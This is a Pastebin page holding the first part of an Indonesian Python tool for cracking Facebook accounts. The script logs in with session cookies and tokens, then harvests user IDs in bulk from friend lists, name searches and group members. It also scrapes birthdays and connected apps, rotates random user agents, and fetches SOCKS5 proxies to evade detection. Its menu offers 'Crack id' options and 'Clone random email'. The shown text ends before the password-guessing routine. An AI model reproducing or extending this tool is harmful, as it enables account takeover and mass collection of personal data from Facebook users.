OBF-XIn

140.213.57.15-/sdcard/facebook.py.py

Apr 6th, 2024
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 136.68 KB | None | 0 0
  1. # ----[ CREATE BY ZORA ID 2024 ]---- #
  2.  
  3. ME = '\x1b[1;91m' # MERAH
  4. HU  = '\x1b[1;92m' # HIJAU
  5.  
  6. KG = '\x1b[1;93m' # KUNING
  7. BU = '\x1b[1;94m' # BIRU
  8.  
  9. UU = '\x1b[1;95m' # UNGU
  10. DT  = '\x1b[0m' # DEFAULT
  11.  
  12. try:
  13.     import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
  14.     from rich.console import Console
  15.     from rich.columns import Columns
  16.     from rich.tree import Tree
  17.     from rich.panel import Panel
  18.     from rich import print as printz
  19.     from concurrent.futures import ThreadPoolExecutor
  20.     from token_eaat import GenerateEAAT
  21.     from banner import Terminal
  22. except(Exception, KeyboardInterrupt) as e:
  23.     try:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.     except(Exception, KeyboardInterrupt) as e:
  28.         from urllib.parse import quote
  29.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  30.         exit()
  31.  
  32. data, data2 = {},{}
  33. bs = bs4.BeautifulSoup
  34. dump, proxies, active, inactive, deleted = [],[],[],[],[]
  35.  
  36. class Requ:
  37.     def __init_(self) -> None:
  38.         pass
  39.        
  40.     def payload(self, curl):
  41.         self.payload = {
  42.             'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  43.             '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  44.             '__a':'1',
  45.             '__req': 'h',
  46.             '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
  47.             'dpr': '2',
  48.             '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
  49.             '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
  50.             '__s': '',
  51.             '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
  52.             '__dyn': '',
  53.             '__csr': '',
  54.             '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
  55.             'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
  56.             'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
  57.             'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
  58.             '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
  59.             '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
  60.             '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
  61.             'fb_api_caller_class': 'RelayModern'
  62.         }
  63.         return(self.payload)
  64.        
  65.     def headers_get(self):
  66.         self.headers = {
  67.             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  68.             'Accept-Encoding':'gzip, deflate',
  69.             'Accept-Language':'en-US,en;q=0.9',
  70.             'Cache-Control':'max-age=0',
  71.             'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
  72.             'Sec-Ch-Prefers-Color-Scheme':'light',
  73.             'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
  74.             'Sec-Ch-Ua-Mobile':'?0',
  75.             'Sec-Ch-Ua-Platform':'',
  76.             'Sec-Ch-Ua-Platform-Version':'',
  77.             'Sec-Fetch-Dest':'document',
  78.             'Sec-Fetch-Mode':'navigate',
  79.             'Sec-Fetch-Site':'same-origin',
  80.             'Sec-Fetch-User':'?1',
  81.             'Upgrade-Insecure-Requests':'1',
  82.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
  83.         }
  84.         return(self.headers)
  85.        
  86.     def headers_post(self):
  87.         self.headers = {
  88.             'Accept':'*/*',
  89.             'Accept-Encoding':'gzip, deflate',
  90.             'Accept-Language':'en-US,en;q=0.9',
  91.             'Content-Type':'application/x-www-form-urlencoded',
  92.             'Origin':'https://www.facebook.com',
  93.             'Sec-Ch-Prefers-Color-Scheme':'dark',
  94.             'Sec-Ch-Ua':'',
  95.             'Sec-Ch-Ua-Full-Version-List':'',
  96.             'Sec-Ch-Ua-Mobile':'?0',
  97.             'Sec-Ch-Ua-Model':'',
  98.             'Sec-Ch-Ua-Platform':'',
  99.             'Sec-Ch-Ua-Platform-Version':'',
  100.             'Sec-Fetch-Dest':'empty',
  101.             'Sec-Fetch-Mode':'cors',
  102.             'Sec-Fetch-Site':'same-origin',
  103.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
  104.         }
  105.         return(self.headers)
  106.        
  107.     def bahasa(self, cookie):
  108.         with requests.Session() as r:
  109.             try:
  110.                 curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
  111.                 if "Apa yang Anda pikirkan sekarang" in curl: pass
  112.                 else:
  113.                     for z in curl.find_all("a",href=True):
  114.                         if "Tidak, Terima Kasih" in z.text:
  115.                             res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
  116.                             par = bs(res.text,"html.parser")
  117.                             act = par.find("form",{"method":"post"})["action"]
  118.                             pat = {
  119.                                 "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
  120.                                 "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
  121.                                 "submit": "OK, Gunakan Data"
  122.                             }
  123.                             pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
  124.                     return pos
  125.             except (Exception) as e: pass    
  126.        
  127.     def GetFriends(self, cookie):
  128.         with requests.Session() as r:
  129.             try:
  130.                 resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
  131.                 if '"success":true' or 'Teman' not in str(resp):
  132.                     return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
  133.             except (Exception) as e: return('Tidak Ada')
  134.            
  135.     def GetUltah(self, cookie):
  136.         with requests.Session() as r:
  137.             try:
  138.                 resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  139.                 if '"success":true' or 'Tanggal Lahir' not in str(resp):
  140.                     ultah = resp.find(string=re.compile('Tanggal Lahir'))
  141.                     if ultah: return(ultah.find_next('div').text)
  142.                     else: return('tidak di ketahui')
  143.             except (Exception) as e: return(None)
  144.                                    
  145.     def ApkActive(self,cookie):
  146.         with requests.Session() as r:
  147.             try:
  148.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  149.                 for x  in resp.find_all("h3"):
  150.                     if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
  151.                     else: continue
  152.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  153.                 self.ApkActive(next,cookie)
  154.             except (Exception) as e: pass
  155.        
  156.     def ApkInactive(self,cookie):
  157.         with requests.Session() as r:
  158.             try:
  159.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  160.                 for x  in resp.find_all("h3"):
  161.                     if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
  162.                     else: continue
  163.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  164.                 self.ApkInactive(next,cookie)
  165.             except (Exception) as e: pass
  166.        
  167.     def ApkDeleted(self,cookie):
  168.         with requests.Session() as r:
  169.             try:
  170.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  171.                 for x  in resp.find_all("h3"):
  172.                    if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
  173.                    else: continue
  174.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  175.                 self.ApkDeleted(next,cookie)
  176.             except (Exception) as e: pass
  177.            
  178.     def ConvertName(self, User, cookie):
  179.          with requests.Session() as r:
  180.              if "me" in User or "100" in User:
  181.                 return User
  182.              elif "https" in User or "facebook" in User:
  183.                 uid = User.split('/')[3]
  184.                 link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
  185.                 kut = link.find('a',string='Lainnya')
  186.                 return(str(kut['href']).split('=')[1].split('&')[0])
  187.              else:
  188.                 link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
  189.                 kut = link.find('a',string='Lainnya')
  190.                 return(str(kut['href']).split('=')[1].split('&')[0])
  191.                  
  192.     def Socksku(self):
  193.         with requests.Session() as r:
  194.             try:
  195.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  196.                 for prox in response.splitlines():
  197.                     proxies.append(prox)
  198.                 return proxies
  199.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()    
  200.            
  201.     def useragent_fb(self):
  202.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
  203.         self.angka = random.choice(['01','02','03','04','05','06','07','08','09','10'])
  204.         self.ubuntu = random.choice(['Ubuntu ','Ubuntu/','Ubuntu; ','Ubuntu-'])
  205.         return(random.choice([
  206.             f'Mozilla/5.0 (X11; {self.ubuntu}{random.randrange(10,22)}.{self.angka}; Linux {random.choice(["x86_64","i686"])}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36',
  207.             f'Mozilla/5.0 (X11; Linux {random.choice(["x86_64","i686"])}; {self.ubuntu}{random.randrange(10,22)}.{self.angka}; SUPER-ID) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Electron/{random.randint(1,9)}.{random.randint(1,20)} Safari/537.36 Slack_SSB/{random.randint(1,9)}.{random.randint(1,20)}'
  208.         ]))
  209.        
  210.     def useragent_api(self):
  211.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
  212.         self.dev = random.choice(['ME171', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'ME371MG', 'K01N', 'K012', 'K00E', 'K019', 'K00Z', 'K00Z', 'K016', 'K016', 'K00G', 'K00G', 'K50IJ', 'ME172V', 'ME172V', 'ME172V', 'ME172V', 'K00F', 'K01E', 'K00R', 'K017', 'K013', 'K007', 'K01A', 'ASUS MeMO Pad 7', 'K015', 'K011', 'K00L', 'ME302C', 'ME302C', 'ME302C', 'AOSP on Duma', 'ME302KL', 'ME302KL', 'K00U', 'ME173X', 'ME173X', 'ME173X', 'ME173X', 'ASUS K00S', 'ME301T', 'ME301T', 'ME301T', 'PadFone', 'PadFone', 'PadFone 2', 'PadFone 2', 'PadFone T008', 'PadFone T008', 'PadFone T004', 'ASUS_T00E', 'PadFone T00C', 'Padfone t00c', 'PadFone T00C', 'ASUS_T00N', 'ASUS PadFone X', 'ASUS_T00T', 'ASUS_Z01QD', 'ZS600KL', 'ASUS_I001DE', 'ZS660KL', 'ASUS_I001DA', 'ASUS_I001DC', 'ZS660KL', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I005DA', 'ASUS_I005DC', 'ASUS_AI2201_C', 'ASUS_AI2201_D', 'ASUS_AI2201_F', 'ASUS_AI2203_D', 'ASUS_AI2203_C', 'ASUS_AI2203_B', 'ASUS TAB A8', 'Tinker Board', 'Tinker Board 2', 'Tinker Board S', 'TX201LA', 'TX201LA', 'K010', 'K018', 'K018', 'TF300T', 'ASUS Pad TF300T', 'K01B', 'K00C', 'K00C', 'ASUS XPad 10LTE', 'ASUS Z101', 'ASUS Z101 Prime', 'ASUS_Z008D', 'ASUS_Z00AD', 'Z00D', 'ASUS_Z00LD', 'ASUS_Z00ED', 'ASUS_Z00RD', 'ASUS ZenFone 2E', 'ASUS_Z012D', 'ZE520KL', 'ASUS_Z017D', 'ASUS_Z012DA', 'ASUS_Z017DA', 'ASUS_Z012S', 'ASUS_Z012DE', 'ASUS_Z01FD', 'ASUS_Z016S', 'ZS550KL', 'ASUS_Z01BD', 'ASUS_Z01BS', 'ZC551KL', 'ASUS_Z01BDB', 'ASUS_X00DDB', 'ASUS_X008D', 'ASUS_X00DDA', 'ZC553KL', 'ASUS_X008DB', 'ASUS_A001', 'ASUS_Z01HDA', 'ZE553KL', 'ASUS_X00LD', 'ASUS_Z01KDA', 'ASUS_Z01KS', 'ASUS_X00LDB', 'ASUS_T00I', 'ASUS_X00HD', 'ASUS_X00ID', 'ZC554KL', 'ASUS_X015D', 'ASUS_X015D', 'ASUS_Z01GS', 'ASUS_Z01GD', 'ASUS_X00LDA', 'ZD553KL', 'ASUS_Z01MD', 'ASUS_Z01MDA', 'ZD552KL', 'ASUS_X00QD', 'ASUS_X00QD', 'ASUS_T00J', 'ASUS_X00QSA', 'ZE620KL', 'ASUS_T00F', 'ASUS_T00F', 'ASUS_T00K', 'ASUS_X017DA', 'ASUS_T00P', 'ASUS_Z01RD', 'ASUS_Z01RD', 'Zenfone 5Z', 'ZS620KL', 'ASUS_T00G', 'ASUS_I01WD', 'ASUS_T00G', 'ASUS_Z002', 'ZS630KL', 'ASUS_I002D', 'ZS670KS', 'ZS671KS', 'ASUS_I006D', 'ASUS_I004D', 'ASUS_AI2202', 'ASUS_AI2202_B', 'ASUS_A002', 'ASUS_A002A', 'ASUS_Z007', 'ASUS_X00ADA', 'ASUS_X00BD', 'ASUS_X007D', 'ZB500KL', 'ASUS_Z00SD', 'ZB551KL', 'ASUS_L001', 'ZB500KG', 'ASUS_Z00VD', 'ASUS_X013DA', 'ASUS_X013D', 'ASUS_X014D', 'ASUS_X014D', 'ASUS_X013DB', 'G550KL', 'G550KL', 'G553KL', 'ASUS_Z00YD', 'ASUS_A007', 'ASUS_X00RD', 'G552KL', 'ASUS_Z010DD', 'ASUS_Z010DB', 'ASUS_Z010D', 'ASUS_Z010DA', 'ASUS_X00PD', 'ZB555KL', 'ASUS_X01AD', 'ZB633KL', 'ASUS_X018D', 'ASUS_X018DC', 'ASUS_X00TD', 'ASUS_X00TDB', 'ASUS_X00TDE', 'ZB602KL', 'ASUS_X01BDA', 'ASUS_A001D', 'ASUS_X002', 'ASUS_X003', 'ASUS_X003', 'ASUS_X550', 'ASUS_X00GD', 'ASUS_X005', 'ASUS_Z00UDB', 'ASUS_Z00UD', 'ASUS_A006', 'ASUS_A009', 'ASUS_Z00XS', 'P01T_1', 'P021', 'P00L', 'P00C', 'P028', 'P027', 'ASUS_P00I', 'P001', 'P008', 'ASUS_P00J', 'ASUS ZenWatch', 'ASUS ZenWatch 2'])
  213.         return(f'Mozilla/5.0 (Linux; U; Android {random.randrange(10,13)}; {self.dev}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/13F69 [FBAN/MessengerKatana;FBAV/{self.ch};FBBV/{random.randrange(511111111,599999999)};FBDV/{self.dev};FBMD/ASUS;FBSN/IOS;FBSV/10;FBSS/2;FBCR/VerizoneShophe;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]')
  214.            
  215. class Facebook:
  216.     def __init__(self):
  217.         self.requ = requests.Session()
  218.         self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.daftar, self.sudah, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],[],[],0,0,0
  219.         self.dt = datetime.datetime.now()
  220.         self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
  221.         self.kilo, self.kulo = [],[]
  222.         self.chek_data()
  223.        
  224.     def deled_dst(self):
  225.         try: os.system('rm -rf .data_fb.txt')
  226.         except: pass
  227.         GenerateEAAT().Cookies()
  228.        
  229.     def chek_data(self):
  230.         if os.path.isfile('.data_fb.txt') is True:
  231.            xxx = open('.data_fb.txt','r').read()
  232.            cookie, token = xxx.split('|'), xxx.split('|')
  233.            self.login_menu(cookie, token)
  234.         else: self.deled_dst()
  235.        
  236.     def chek_info(self, cookie, token):
  237.         with requests.Session() as r:
  238.             try:
  239.                 response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
  240.                 bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  241.                 bulan, tanggal, tahun = response['birthday'].split('/')
  242.                 return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
  243.             except (KeyError) as e:
  244.                 Terminal().Clear_Terminal()
  245.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  246.                 Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
  247.                 self.deled_dst()
  248.  
  249.     def login_menu(self,cookie, token):
  250.         try: id, name, lahir, gender = self.chek_info(cookie, token)
  251.         except (requests.exceptions.ConnectionError) as e:
  252.             Terminal().Clear_Terminal()
  253.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  254.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
  255.             self.chek_data()
  256.         Terminal().Banner_Facebook()      
  257.         self.kulo.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  258.         self.kulo.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  259.         Console().print(Columns(self.kulo))
  260.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman  [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Clone random email\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Chek result crack\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]00[bold white].[bold red] Exit facebook\n[bold white][bold green]05[bold white]. Crack id dari file dump''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  261.         query = Console().input("[bold grey50]   ╰─> ")  
  262.         if query == '01' or query == '1':
  263.             try:
  264.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  265.                 username = Console().input("[bold grey50]   ╰─> ")
  266.                 for self.username in username.split(','):
  267.                     try: self.Dump_Friends(self.username, cookie, token)
  268.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  269.                 if len(dump) < 50:
  270.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  271.                     exit()
  272.                 else:
  273.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  274.                     self.Methode()
  275.             except (Exception) as e:
  276.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  277.                 exit()
  278.                
  279.         elif query == '02' or query == '2':
  280.             try:
  281.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  282.                 username = Console().input("[bold grey50]   ╰─> ")
  283.                 for self.username in username.split(','):
  284.                     try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
  285.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
  286.                 if len(dump) < 50:
  287.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  288.                     exit()
  289.                 else:
  290.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  291.                     self.Methode()
  292.             except (Exception) as e:
  293.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  294.                 exit()
  295.                
  296.         elif query == '03' or query == '3':
  297.             try:
  298.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  299.                 username = Console().input("[bold grey50]   ╰─> ")
  300.                 for self.username in username.split(','):
  301.                     try: self.Dump_Member(self.username, cookie, '')
  302.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
  303.                 if len(dump) < 50:
  304.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  305.                     exit()
  306.                 else:
  307.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  308.                     self.Methode()
  309.             except (Exception) as e:
  310.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  311.                 exit()
  312.                
  313.         elif query == '04' or query == '4':
  314.             try:
  315.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  316.                 username = Console().input("[bold grey50]   ╰─> ")
  317.                 for self.username in username.split(','):
  318.                     try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
  319.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  320.                 if len(dump) < 50:
  321.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  322.                     exit()
  323.                 else:
  324.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  325.                     self.Methode()
  326.             except (Exception) as e:
  327.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  328.                 exit()    
  329.                
  330.         elif query == '05' or query == '5':
  331.             try:
  332.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  333.                 username = Console().input("[bold grey50]   ╰─> ")
  334.                 for self.username in username.split(','):
  335.                     try: self.Clone_Files(self.username)
  336.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  337.                 if len(dump) < 50:
